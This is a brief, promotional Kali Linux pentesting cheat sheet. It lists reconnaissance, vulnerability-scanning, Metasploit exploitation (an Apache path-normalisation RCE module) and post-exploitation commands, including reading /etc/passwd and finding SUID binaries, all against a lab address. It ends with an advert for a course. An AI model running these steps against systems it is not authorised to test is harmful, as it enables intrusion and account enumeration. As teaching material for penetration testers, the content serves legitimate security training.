Kali Linux Network Pentesting — Complete Methodology

Network Pentest Methodology

This is the exact methodology used by professional pentesting firms charging ₹5-50L per engagement.

Phase 1: Reconnaissance

nmap -sn 10.10.10.0/24            # Host discovery
nmap -sV -sC -O -p- 10.10.10.5   # Full port scan
enum4linux -a 10.10.10.5          # SMB enumeration
snmpwalk -c public 10.10.10.5    # SNMP enumeration

Phase 2: Vulnerability Analysis

nmap --script vuln 10.10.10.5     # Nmap vuln scripts
searchsploit apache 2.4.49        # Find known exploits
nikto -h http://10.10.10.5       # Web vuln scan

Phase 3: Exploitation

msfconsole
search type:exploit apache
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 10.10.10.5
exploit

Phase 4: Post-Exploitation

whoami                    # Check current user
uname -a                  # OS information
cat /etc/passwd           # List users
sudo -l                   # Check sudo rights
find / -perm -4000        # Find SUID binaries

Phase 5: Reporting

• Executive Summary
• Findings with CVSS scores
• Proof of Concept for each vulnerability
• Remediation recommendations

Professional Pentest Rates

• 🇮🇳 India: ₹5-50 LPA (freelance: ₹50K-5L per project)
• 🇺🇸 USA: $120K-$250K/year

🔥 Learn professional pentesting at ONLY4YOU →